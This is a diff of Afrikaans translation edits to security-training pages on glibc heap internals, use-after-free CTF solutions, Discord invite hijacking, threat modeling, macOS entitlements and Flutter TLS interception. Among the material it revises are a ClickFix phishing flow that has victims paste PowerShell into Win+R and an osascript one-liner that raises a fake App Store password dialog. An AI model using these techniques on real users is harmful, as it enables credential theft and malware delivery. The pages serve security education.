 // https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -261,7 +261,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
 return request2size (req);
 }
 ```
-Let wel, vir die berekening van die totale ruimte wat benodig word, word `SIZE_SZ` slegs 1 keer bygevoeg omdat die `prev_size` veld gebruik kan word om data te stoor, daarom is slegs die aanvanklike kop nodig.
+Let op dat vir die berekening van die totale ruimte wat nodig is, word `SIZE_SZ` slegs 1 keer bygevoeg omdat die `prev_size` veld gebruik kan word om data te stoor, daarom is slegs die aanvanklike kop nodig.

 ### Kry Chunk data en verander metadata

@ -354,7 +354,7 @@ people extending or adapting this malloc.
 #define clear_inuse_bit_at_offset(p, s)					      \
 (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
 ```
- Stel kop en voet (wanneer stuk nommers in gebruik)
+- Stel kop en voet (wanneer stuk nommers in gebruik is)
 ```c
 /* Set size at head, without disturbing its use bit */
 #define set_head_size(p, s)  ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -415,7 +415,7 @@ Stel 'n breekpunt aan die einde van die hooffunksie en kom ons vind uit waar die

 <figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>

-Dit is moontlik om te sien dat die string panda gestoor is by `0xaaaaaaac12a0` (wat die adres was wat as antwoord deur malloc binne `x0` gegee is). Deur 0x10 bytes voor dit te kyk, is dit moontlik om te sien dat die `0x0` verteenwoordig dat die **vorige stuk nie gebruik word** (lengte 0) en dat die lengte van hierdie stuk `0x21` is.
+Dit is moontlik om te sien dat die string panda gestoor is by `0xaaaaaaac12a0` (wat die adres was wat as antwoord deur malloc binne `x0` gegee is). Deur 0x10 bytes voor te kyk, is dit moontlik om te sien dat die `0x0` aandui dat die **vorige stuk nie gebruik word** (lengte 0) en dat die lengte van hierdie stuk `0x21` is.

 Die ekstra spasie wat gereserveer is (0x21-0x10=0x11) kom van die **bygevoegde koptekste** (0x10) en 0x1 beteken nie dat dit 0x21B gereserveer is nie, maar die laaste 3 bits van die lengte van die huidige kop het 'n paar spesiale betekenisse. Aangesien die lengte altyd 16-byte geallineer is (in 64-bis masjiene), gaan hierdie bits eintlik nooit deur die lengtenommer gebruik word nie.
 ```
@ -475,7 +475,7 @@ Deur die vorige voorbeeld te debugeer, is dit moontlik om te sien hoe daar aan d

 <figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Dan, na die eerste draad aan te roep, die een wat malloc aanroep, word 'n nuwe arena geskep:
+Dan, na die eerste draad aanroep, die een wat malloc aanroep, word 'n nuwe arena geskep:

 <figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

@ -505,4 +505,4 @@ heap-memory-functions/heap-functions-security-checks.md
 - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)


-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md
+++ b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md
@ -8,13 +8,13 @@ Wanneer jy geheue in 'n program met glibc vrymaak, word verskillende "bins" gebr

 ### Ongesorteerde Bins

-Wanneer jy 'n geheue stuk vrymaak wat nie 'n vinnige stuk is nie, gaan dit na die ongesorteerde bin. Hierdie bin funksioneer soos 'n lys waar nuwe vrygemaakte stukke aan die voorkant (die "kop") bygevoeg word. Wanneer jy 'n nuwe stuk geheue aan vra, kyk die toewysingsprogram na die ongesorteerde bin van die agterkant (die "sterf") om 'n stuk te vind wat groot genoeg is. As 'n stuk uit die ongesorteerde bin groter is as wat jy nodig het, word dit gesplit, met die voorste deel wat teruggegee word en die oorblywende deel wat in die bin bly.
+Wanneer jy 'n geheue stuk vrymaak wat nie 'n vinnige stuk is nie, gaan dit na die ongesorteerde bin. Hierdie bin funksioneer soos 'n lys waar nuwe vrygemaakte stukke aan die voorkant (die "kop") bygevoeg word. Wanneer jy 'n nuwe stuk geheue aan vra, kyk die toewysingsprogram na die ongesorteerde bin vanaf die agterkant (die "stert") om 'n stuk te vind wat groot genoeg is. As 'n stuk uit die ongesorteerde bin groter is as wat jy nodig het, word dit gesplit, met die voorste deel wat teruggegee word en die oorblywende deel wat in die bin bly.

 Voorbeeld:

- Jy allokeer 300 bytes (`a`), dan 250 bytes (`b`), vrymaak `a` en vra weer 250 bytes (`c`).
+- Jy toewys 300 bytes (`a`), dan 250 bytes (`b`), vrymaak `a` en vra weer 250 bytes (`c`).
 - Wanneer jy `a` vrymaak, gaan dit na die ongesorteerde bin.
- As jy dan weer 250 bytes vra, vind die toewysingsprogram `a` by die sterf en split dit, teruggawende die deel wat by jou versoek pas en die res in die bin hou.
+- As jy dan weer 250 bytes vra, vind die toewysingsprogram `a` by die stert en split dit, terwyl die deel wat by jou versoek pas, teruggegee word en die res in die bin bly.
 - `c` sal na die vorige `a` wys en met die `a's` gevul wees.
 ```c
 char *a = malloc(300);
@ -24,9 +24,9 @@ char *c = malloc(250);
 ```
 ### Fastbins

-Fastbins word gebruik vir klein geheue stukke. Anders as onsortering bins, voeg fastbins nuwe stukke by die kop, wat 'n laaste-in-eerste-uit (LIFO) gedrag skep. As jy 'n klein stuk geheue aan vra, sal die toewysingsprogram van die fastbin se kop trek.
+Fastbins word gebruik vir klein geheue stukke. Anders as onsortering bins, voeg fastbins nuwe stukke by die kop, wat 'n laaste-in-eerste-uit (LIFO) gedrag skep. As jy 'n klein stuk geheue aan vra, sal die toewysingsprogram van die fastbin se kop af trek.

-Example:
+Voorbeeld:

 - Jy toewys vier stukke van 20 bytes elk (`a`, `b`, `c`, `d`).
 - Wanneer jy hulle in enige volgorde vrylaat, word die vrygestelde stukke by die fastbin se kop gevoeg.
@ -51,12 +51,12 @@ d = malloc(20);   // a
 - [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
 - ARM64. Gebruik na vry: Genereer 'n gebruikersobjek, vry dit, genereer 'n objek wat die vrygestelde stuk ontvang en laat dit toe om na te skryf, **oorwrite die posisie van user->password** van die vorige een. Hergebruik die gebruiker om **die wagwoordkontrole te omseil**
 - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
- Die program laat toe om notas te skep. 'n Nota sal die nota-inligting in 'n malloc(8) hê (met 'n wysiger na 'n funksie wat geroep kan word) en 'n wysiger na 'n ander malloc(\<grootte>) met die inhoud van die nota.
+- Die program laat toe om notas te skep. 'n Nota sal die nota-inligting in 'n malloc(8) hê (met 'n pointeur na 'n funksie wat aangeroep kan word) en 'n pointeur na 'n ander malloc(\<size>) met die inhoud van die nota.
 - Die aanval sou wees om 2 notas (nota0 en nota1) te skep met groter malloc-inhoud as die nota-inligting grootte en dan hulle vry te stel sodat hulle in die vinnige bin (of tcache) kom.
- Dan, skep 'n ander nota (nota2) met inhoudsgrootte 8. Die inhoud gaan in nota1 wees aangesien die stuk hergebruik gaan word, waar ons die funksiewysiger kan verander om na die wen-funksie te wys en dan Use-After-Free nota1 om die nuwe funksiewysiger aan te roep.
+- Dan, skep 'n ander nota (nota2) met inhoudsgrootte 8. Die inhoud gaan in nota1 wees aangesien die stuk hergebruik gaan word, waar ons die funksiepointeur kan verander om na die wen-funksie te wys en dan Gebruik-Na-Vry die nota1 om die nuwe funksiepointeur aan te roep.
 - [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
 - Dit is moontlik om 'n bietjie geheue toe te ken, die verlangde waarde te skryf, dit vry te stel, dit weer toe te ken en aangesien die vorige data steeds daar is, sal dit behandel word volgens die nuwe verwagte struktuur in die stuk wat dit moontlik maak om die waarde te stel om die vlag te kry.
 - [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
- In hierdie geval is dit nodig om 4 binne 'n spesifieke stuk te skryf wat die eerste een is wat toegeken word (selfs nadat al hulle gedwing vrygestel is). Op elke nuwe toegeken stuk word sy nommer in die array-indeks gestoor. Dan, ken 4 stukke toe (+ die aanvanklik toegeken), die laaste een sal 4 daarin hê, vry hulle en dwing die hertoewysing van die eerste een, wat die laaste vrygestelde stuk sal gebruik wat die een met 4 daarin is.
+- In hierdie geval is dit nodig om 4 binne 'n spesifieke stuk te skryf wat die eerste een is wat toegeken word (selfs nadat al hulle gedwing vrygestel is). Op elke nuwe toegeken stuk word sy nommer in die array-indeks gestoor. Dan, ken 4 stukke toe (+ die aanvanklik toegeken), die laaste een sal 4 daarin hê, vry hulle en dwing die hertoekenning van die eerste een, wat die laaste vrygestelde stuk sal gebruik wat die een met 4 daarin is.

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md
@ -4,13 +4,13 @@

 Discord se uitnodigingstelsel se kwesbaarheid laat bedreigingsakteurs toe om vervalde of verwyderde uitnodigingskodes (tydelik, permanent, of pasgemaakte vanity) as nuwe vanity skakels op enige vlak 3 geboost bediener te eis. Deur alle kodes na kleinletters te normaliseer, kan aanvallers bekende uitnodigingskodes vooraf registreer en stilweg verkeer oorneem sodra die oorspronklike skakel verval of die bronbediener sy boost verloor.

-## Uitnodigingstipes en Hijack Risiko
+## Uitnodigingstipes en Oornemingsrisiko

-| Uitnodigingstype      | Hijackable? | Voorwaarde / Kommentaar                                                                                     |
-|-----------------------|-------------|------------------------------------------------------------------------------------------------------------|
-| Tydelike Uitnodiging Skakel | ✅          | Na vervaldatum word die kode beskikbaar en kan dit weer geregistreer word as 'n vanity URL deur 'n geboost bediener. |
-| Permanente Uitnodiging Skakel | ⚠️          | As verwyder en slegs uit kleinletters en syfers bestaan, kan die kode weer beskikbaar raak.                |
-| Pasgemaakte Vanity Skakel    | ✅          | As die oorspronklike bediener sy vlak 3 Boost verloor, word sy vanity uitnodiging beskikbaar vir nuwe registrasie. |
+| Uitnodigingstype      | Oornemingsbaar? | Voorwaarde / Kommentaar                                                                                     |
+|-----------------------|------------------|------------------------------------------------------------------------------------------------------------|
+| Tydelike Uitnodigingskakel | ✅          | Na vervaldatum word die kode beskikbaar en kan dit weer geregistreer word as 'n vanity URL deur 'n geboost bediener. |
+| Permanente Uitnodigingskakel | ⚠️          | As verwyder en slegs uit kleinletters en syfers bestaan, kan die kode weer beskikbaar raak.                |
+| Pasgemaakte Vanityskakel    | ✅          | As die oorspronklike bediener sy Vlak 3 Boost verloor, word sy vanity-uitnodiging beskikbaar vir nuwe registrasie. |

 ## Exploitasiestappe

@ -18,22 +18,22 @@ Discord se uitnodigingstelsel se kwesbaarheid laat bedreigingsakteurs toe om ver
 - Monitor openbare bronne (forums, sosiale media, Telegram-kanale) vir uitnodigingskakels wat die patroon `discord.gg/{code}` of `discord.com/invite/{code}` volg.
 - Versamel uitnodigingskodes van belang (tydelik of vanity).
 2. Voorregistrasie
- Skep of gebruik 'n bestaande Discord-bediener met vlak 3 Boost voorregte.
+- Skep of gebruik 'n bestaande Discord-bediener met Vlak 3 Boost voorregte.
 - In **Bedienerinstellings → Vanity URL**, probeer om die teikenuitnodigingskode toe te ken. As aanvaar, word die kode gereserveer deur die kwaadwillige bediener.
-3. Hijack Aktivering
+3. Oornemingsaktivering
 - Vir tydelike uitnodigings, wag totdat die oorspronklike uitnodiging verval (of verwyder dit handmatig as jy die bron beheer).
- Vir kodes wat hoofletters bevat, kan die kleinlettervariant onmiddellik geëis word, alhoewel omleiding slegs na vervaldatum aktiveer.
+- Vir kodes wat hoofletters bevat, kan die kleinlettervariant onmiddellik geëis word, hoewel omleiding slegs na vervaldatum aktiveer.
 4. Stilweg Omleiding
- Gebruikers wat die ou skakel besoek, word na die aanvaller-beheerde bediener gestuur sodra die hijack aktief is.
+- Gebruikers wat die ou skakel besoek, word na die aanvaller-beheerde bediener gestuur sodra die oorneming aktief is.

-## Phishing Stroom via Discord Bediener
+## Phishingvloei via Discord-bediener

 1. Beperk bedienerkanale sodat slegs 'n **#verify** kanaal sigbaar is.
 2. Ontplooi 'n bot (bv. **Safeguard#0786**) om nuwelinge te vra om via OAuth2 te verifieer.
-3. Bot lei gebruikers na 'n phishing-webwerf (bv. `captchaguard.me`) onder die dekmantel van 'n CAPTCHA of verifikasiefase.
+3. Bot lei gebruikers na 'n phishing-webwerf (bv. `captchaguard.me`) onder die voorwendsel van 'n CAPTCHA of verifikasiefase.
 4. Implementeer die **ClickFix** UX truuk:
 - Vertoon 'n gebroke CAPTCHA boodskap.
- Lei gebruikers om die **Win+R** dialoog te open, plak 'n vooraf gelaaide PowerShell-opdrag, en druk Enter.
+- Lei gebruikers om die **Win+R** dialoog te open, 'n vooraf gelaaide PowerShell-opdrag in te plak, en Enter te druk.

 ### ClickFix Clipboard Injection Voorbeeld
 ```javascript
@ -58,4 +58,4 @@ Hierdie benadering vermy direkte lêeraflaaie en benut bekende UI-elemente om ge
 - From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
 - Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/generic-methodologies-and-resources/threat-modeling.md
+++ b/src/generic-methodologies-and-resources/threat-modeling.md
@ -1,6 +1,6 @@
 # Bedreigingsmodellering

-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}

 ## Bedreigingsmodellering

@ -28,11 +28,11 @@ Die CIA Triade is 'n algemeen erkende model in die veld van inligtingsveiligheid
 ### Bedreigingsmodellering Metodologieë

 1. **STRIDE**: Ontwikkel deur Microsoft, STRIDE is 'n akroniem vir **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Elke kategorie verteenwoordig 'n tipe bedreiging, en hierdie metodologie word algemeen gebruik in die ontwerpfase van 'n program of stelsel om potensiële bedreigings te identifiseer.
-2. **DREAD**: Dit is 'n ander metodologie van Microsoft wat gebruik word vir risiko-assessering van geïdentifiseerde bedreigings. DREAD staan vir **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Elke van hierdie faktore word gegradeer, en die resultaat word gebruik om geïdentifiseerde bedreigings te prioriseer.
+2. **DREAD**: Dit is 'n ander metodologie van Microsoft wat gebruik word vir risiko-assessering van geïdentifiseerde bedreigings. DREAD staan vir **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Elke van hierdie faktore word gegradeer, en die resultaat word gebruik om geïdentifiseerde bedreigings te prioritiseer.
 3. **PASTA** (Proses vir Aanvalsimulasie en Bedreigingsanalise): Dit is 'n sewe-stap, **risiko-georiënteerde** metodologie. Dit sluit die definisie en identifikasie van sekuriteitsdoelwitte in, die skep van 'n tegniese omvang, toepassingsdekomposisie, bedreigingsanalise, kwesbaarheidsanalise, en risiko/triage assessering.
 4. **Trike**: Dit is 'n risiko-gebaseerde metodologie wat fokus op die verdediging van bates. Dit begin vanuit 'n **risikobestuur** perspektief en kyk na bedreigings en kwesbaarhede in daardie konteks.
 5. **VAST** (Visueel, Agile, en Eenvoudige Bedreigingsmodellering): Hierdie benadering poog om meer toeganklik te wees en integreer in Agile ontwikkelingsomgewings. Dit kombineer elemente van die ander metodologieë en fokus op **visuele voorstellings van bedreigings**.
-6. **OCTAVE** (Operationeel Kritieke Bedreiging, Bates, en Kwesbaarheid Evaluasie): Ontwikkel deur die CERT Koördinering Sentrum, is hierdie raamwerk gerig op **organisatoriese risiko-assessering eerder as spesifieke stelsels of sagteware**.
+6. **OCTAVE** (Operationeel Kritieke Bedreiging, Bates, en Kwesbaarheid Evaluasie): Ontwikkel deur die CERT Koördinasiesentrum, is hierdie raamwerk gerig op **organisatoriese risiko-assessering eerder as spesifieke stelsels of sagteware**.

 ## Gereedskap

@ -54,7 +54,7 @@ Daar is verskeie gereedskap en sagteware-oplossings beskikbaar wat kan **help**

 ### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)

-'n Oopbronprojek van OWASP, Threat Dragon is beide 'n web- en desktoptoepassing wat stelseldiagrammering insluit sowel as 'n reël enjin om bedreigings/mitigasies outomaties te genereer.
+'n Open-source projek van OWASP, Threat Dragon is beide 'n web- en desktoptoepassing wat stelseldiagrammering insluit sowel as 'n reël enjin om bedreigings/mitigasies outomaties te genereer.

 **Gebruik**

@ -83,9 +83,9 @@ Jy kan gereedskap soos SpiderSuite Crawler gebruik om jou inspirasie te gee, 'n
 Net 'n bietjie verduideliking oor die entiteite:

 - Proses (Die entiteit self soos Webbediener of web funksionaliteit)
- Akteur (‘n Persoon soos 'n Webwerf Besoeker, Gebruiker of Administrateur)
+- Akteur ( 'n Persoon soos 'n Webwerf Besoeker, Gebruiker of Administrateur)
 - Data Vloei Lyn (Aanduiding van Interaksie)
- Vertroue Grens (Verskillende netwerksegmente of -omgewings.)
+- Vertroue Grens (Verskillende netwerksegmente of skope.)
 - Stoor (Dinge waar data gestoor word soos Databasisse)

 5. Skep 'n Bedreiging (Stap 1)
@ -104,7 +104,7 @@ Hou in gedagte dat daar 'n verskil is tussen Akteur Bedreigings en Proses Bedrei

 6. Klaar

-Nou moet jou voltooide model iets soos hierdie lyk. En dit is hoe jy 'n eenvoudige bedreigingsmodel met OWASP Threat Dragon maak.
+Nou moet jou voltooide model iets soos hierdie lyk. En so maak jy 'n eenvoudige bedreigingsmodel met OWASP Threat Dragon.

 <figure><img src="../images/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>

@ -113,4 +113,4 @@ Nou moet jou voltooide model iets soos hierdie lyk. En dit is hoe jy 'n eenvoudi
 Dit is 'n gratis hulpmiddel van Microsoft wat help om bedreigings in die ontwerpfase van sagtewareprojekte te vind. Dit gebruik die STRIDE metodologie en is veral geskik vir diegene wat op Microsoft se stapel ontwikkel.


-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md
@ -21,15 +21,15 @@ Hierdie toestemming maak dit moontlik om die **taakpoort vir enige** proses te v

 ### `com.apple.security.get-task-allow`

-Hierdie toestemming maak dit moontlik vir ander prosesse met die **`com.apple.security.cs.debugger`** toestemming om die taakpoort van die proses wat deur die binêre met hierdie toestemming uitgevoer word, te verkry en **kode daarop in te spuit**. Kyk [**hier vir meer inligting**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
+Hierdie toestemming maak dit moontlik vir ander prosesse met die **`com.apple.security.cs.debugger`** toestemming om die taakpoort van die proses wat deur die binêre met hierdie toestemming uitgevoer word te verkry en **kode daarop in te spuit**. Kyk [**hier vir meer inligting**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).

 ### `com.apple.security.cs.debugger`

-Apps met die Debugging Tool Toestemming kan `task_for_pid()` aanroep om 'n geldige taakpoort vir ongetekende en derdeparty-apps met die `Get Task Allow` toestemming wat op `true` gestel is, te verkry. Maar, selfs met die debugging tool toestemming, kan 'n debugger **nie die taakpoorte** van prosesse wat **nie die `Get Task Allow` toestemming het nie**, en wat dus deur Stelselintegriteitsbeskerming beskerm word, verkry nie. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
+Apps met die Debugging Tool Toestemming kan `task_for_pid()` aanroep om 'n geldige taakpoort vir ongetekende en derdeparty-apps met die `Get Task Allow` toestemming wat op `true` gestel is, te verkry. Maar, selfs met die debugging tool toestemming, kan 'n debugger **nie die taakpoorte** van prosesse wat **nie die `Get Task Allow` toestemming het nie**, en wat dus deur die Stelselintegriteitsbeskerming beskerm word, verkry nie. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).

 ### `com.apple.security.cs.disable-library-validation`

-Hierdie toestemming maak dit moontlik om **raamwerke, plug-ins, of biblioteke te laai sonder om of deur Apple geteken te wees of met dieselfde Span-ID** as die hoof uitvoerbare, sodat 'n aanvaller sommige arbitrêre biblioteeklaai kan misbruik om kode in te spuit. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
+Hierdie toestemming maak dit moontlik om **raamwerke, plug-ins, of biblioteke te laai sonder om of deur Apple geteken te wees of met dieselfde Span-ID as die hoof uitvoerbare** geteken te wees, sodat 'n aanvaller sommige arbitrêre biblioteeklaai kan misbruik om kode in te spuit. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).

 ### `com.apple.private.security.clear-library-validation`

@ -38,7 +38,7 @@ Kyk [**hier vir meer inligting**](https://theevilbit.github.io/posts/com.apple.p

 ### `com.apple.security.cs.allow-dyld-environment-variables`

-Hierdie toestemming maak dit moontlik om **DYLD omgewingsveranderlikes** te gebruik wat gebruik kan word om biblioteke en kode in te spuit. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
+Hierdie toestemming maak dit moontlik om **DYLD omgewing veranderlikes** te gebruik wat gebruik kan word om biblioteke en kode in te spuit. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).

 ### `com.apple.private.tcc.manager` of `com.apple.rootless.storage`.`TCC`

@ -46,19 +46,19 @@ Hierdie toestemming maak dit moontlik om **DYLD omgewingsveranderlikes** te gebr

 ### **`system.install.apple-software`** en **`system.install.apple-software.standar-user`**

-Hierdie toestemmings maak dit moontlik om **programmatuur te installeer sonder om toestemming** van die gebruiker te vra, wat nuttig kan wees vir 'n **privilege escalasie**.
+Hierdie toestemmings maak dit moontlik om **programmatuur te installeer sonder om toestemming van die gebruiker te vra**, wat nuttig kan wees vir 'n **privilege escalasie**.

 ### `com.apple.private.security.kext-management`

-Toestemming wat benodig word om die **kernel te vra om 'n kernuitbreiding te laai**.
+Toestemming wat benodig word om die **kernel te vra om 'n kernel uitbreiding te laai**.

 ### **`com.apple.private.icloud-account-access`**

-Die toestemming **`com.apple.private.icloud-account-access`** maak dit moontlik om te kommunikeer met die **`com.apple.iCloudHelper`** XPC diens wat **iCloud tokens** sal **verskaf**.
+Die toestemming **`com.apple.private.icloud-account-access`** maak dit moontlik om met die **`com.apple.iCloudHelper`** XPC diens te kommunikeer wat **iCloud tokens** sal **verskaf**.

 **iMovie** en **Garageband** het hierdie toestemming gehad.

-Vir meer **inligting** oor die ontploffing om **icloud tokens** van daardie toestemming te verkry, kyk die praatjie: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
+Vir meer **inligting** oor die ontploffing om **icloud tokens** van daardie toestemming te verkry, kyk die praatjie: [**#OBTS v5.0: "Wat gebeur op jou Mac, bly op Apple se iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)

 ### `com.apple.private.tcc.manager.check-by-audit-token`

@ -87,17 +87,17 @@ Hierdie toestemming lys **keychain** groepe waartoe die toepassing toegang het:
 ```
 ### **`kTCCServiceSystemPolicyAllFiles`**

-Gee **Volle Skyf Toegang** regte, een van die TCC hoogste regte wat jy kan hê.
+Gee **Volle Skyf Toegang** regte, een van die hoogste TCC regte wat jy kan hê.

 ### **`kTCCServiceAppleEvents`**

-Laat die app toe om gebeurtenisse na ander toepassings te stuur wat algemeen gebruik word vir **automatisering van take**. Deur ander apps te beheer, kan dit die regte wat aan hierdie ander apps gegee is, misbruik.
+Laat die app toe om gebeurtenisse na ander toepassings te stuur wat algemeen gebruik word vir **outomatisering van take**. Deur ander apps te beheer, kan dit die regte wat aan hierdie ander apps gegee is, misbruik. 

 Soos om hulle te laat vra vir die gebruiker se wagwoord:
 ```bash
 osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
 ```
-Of om hulle te laat **arbitraire aksies** uitvoer.
+Of om hulle **arbitraire aksies** te laat uitvoer.

 ### **`kTCCServiceEndpointSecurityClient`**

@ -117,7 +117,7 @@ Dit is moontlik om te kyk wie hierdie toegang het in _Stelselsinstellings_ > _Pr

 ### `kTCCServiceAccessibility`

-Die proses sal in staat wees om die **macOS toeganklikheidskenmerke** te **misbruik**, wat beteken dat hy byvoorbeeld sleutels kan druk. Hy kan dus toegang vra om 'n toepassing soos Finder te beheer en die dialoog met hierdie toestemming goed te keur.
+Die proses sal in staat wees om die **macOS toeganklikheidskenmerke** te **misbruik**, wat beteken dat hy byvoorbeeld sleutels kan druk. SO hy kan toegang vra om 'n toepassing soos Finder te beheer en die dialoog met hierdie toestemming goed te keur.

 ## Medium

@ -130,11 +130,11 @@ Hierdie reg laat toe om **geheue te skep wat skryfbaar en uitvoerbaar is** deur
 Hierdie reg laat toe om **C-kode te oorskry of te patch**, gebruik die lank-gedepregeerde **`NSCreateObjectFileImageFromMemory`** (wat fundamenteel onveilig is), of gebruik die **DVDPlayback** raamwerk. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).

 > [!CAUTION]
-> Om hierdie reg in te sluit stel jou toepassing bloot aan algemene kwesbaarhede in geheue-onveilige kode tale. Oorweeg sorgvuldig of jou toepassing hierdie uitsondering benodig.
+> Om hierdie reg in te sluit stel jou toepassing bloot aan algemene kwesbaarhede in geheue-onveilige kode tale. Oorweeg sorgvuldig of jou toepassing hierdie uitsondering nodig het.

 ### `com.apple.security.cs.disable-executable-page-protection`

-Hierdie reg laat toe om **gedeeltes van sy eie uitvoerbare lêers** op skyf te **wysig** om gedwonge uitgang te dwing. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
+Hierdie reg laat toe om **afdelings van sy eie uitvoerbare lêers** op skyf te **wysig** om gedwonge uitgang te dwing. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).

 > [!CAUTION]
 > Die Uitskakeling van Uitvoerbare Geheuebeskerming Reg is 'n uiterste reg wat 'n fundamentele sekuriteitsbeskerming van jou toepassing verwyder, wat dit moontlik maak vir 'n aanvaller om jou toepassing se uitvoerbare kode sonder opsporing te herskryf. Verkies nouer regte indien moontlik.
@ -160,11 +160,11 @@ Laat die proses toe om **vir al die TCC-toestemmings te vra**.

 ### **`kTCCServicePostEvent`**

-{{#include ../../../banners/hacktricks-training.md}}
+

 </details>




-{{#include /banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/mobile-pentesting/android-app-pentesting/flutter.md
+++ b/src/mobile-pentesting/android-app-pentesting/flutter.md
@ -3,13 +3,13 @@
 {{#include ../../banners/hacktricks-training.md}}

 # Flutter
-Flutter is **Google se kruis-platform UI toolkit** wat ontwikkelaars toelaat om 'n enkele Dart kode-basis te skryf wat die **Engine** (natuurlike C/C++) in platform-spesifieke masjienkode vir Android & iOS omskakel. Die Engine bundel 'n **Dart VM**, **BoringSSL**, Skia, ens., en verskaf as die gedeelde biblioteek **libflutter.so** (Android) of **Flutter.framework** (iOS). Alle werklike netwerkverbinding (DNS, sokke, TLS) gebeur **binne hierdie biblioteek**, *nie* in die gewone Java/Kotlin Swift/Obj-C lae nie. Daardie geslote ontwerp is waarom die gewone Java-vlak Frida haakies op Flutter-apps misluk.
+Flutter is **Google se kruis-platform UI toolkit** wat ontwikkelaars toelaat om 'n enkele Dart kode-basis te skryf wat die **Engine** (natuurlike C/C++) in platform-spesifieke masjienkode vir Android & iOS omskakel. Die Engine bundel 'n **Dart VM**, **BoringSSL**, Skia, ens., en word as die gedeelde biblioteek **libflutter.so** (Android) of **Flutter.framework** (iOS) gestuur. Alle werklike netwerkverbinding (DNS, sokke, TLS) gebeur **binne hierdie biblioteek**, *nie* in die gewone Java/Kotlin Swift/Obj-C lae nie. Daardie geslote ontwerp is waarom die gewone Java-vlak Frida haakies op Flutter-apps misluk.

 ## Intercepting HTTPS traffic in Flutter

 This is a summary of this [blog post](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/).

-### Waarom HTTPS onderskepping moeilik is in Flutter
+### Waarom HTTPS-afluistering moeilik is in Flutter
 * **SSL/TLS verifikasie leef twee lae af** in BoringSSL, so Java SSL‐pinning omseil dit nie.
 * **BoringSSL gebruik sy *eie* CA stoor** binne libflutter.so; om jou Burp/ZAP CA in Android se stelsels stoor te invoer verander niks.
 * Simbole in libflutter.so is **gestroop & gemanipuleer**, wat die sertifikaat-verifikasie funksie van dinamiese gereedskap verberg.
@ -36,10 +36,10 @@ Find [get_snapshot_hash.py here](https://github.com/Impact-I/reFlutter/blob/main
 * In `ssl_x509.cc`, dwing `return 1;`
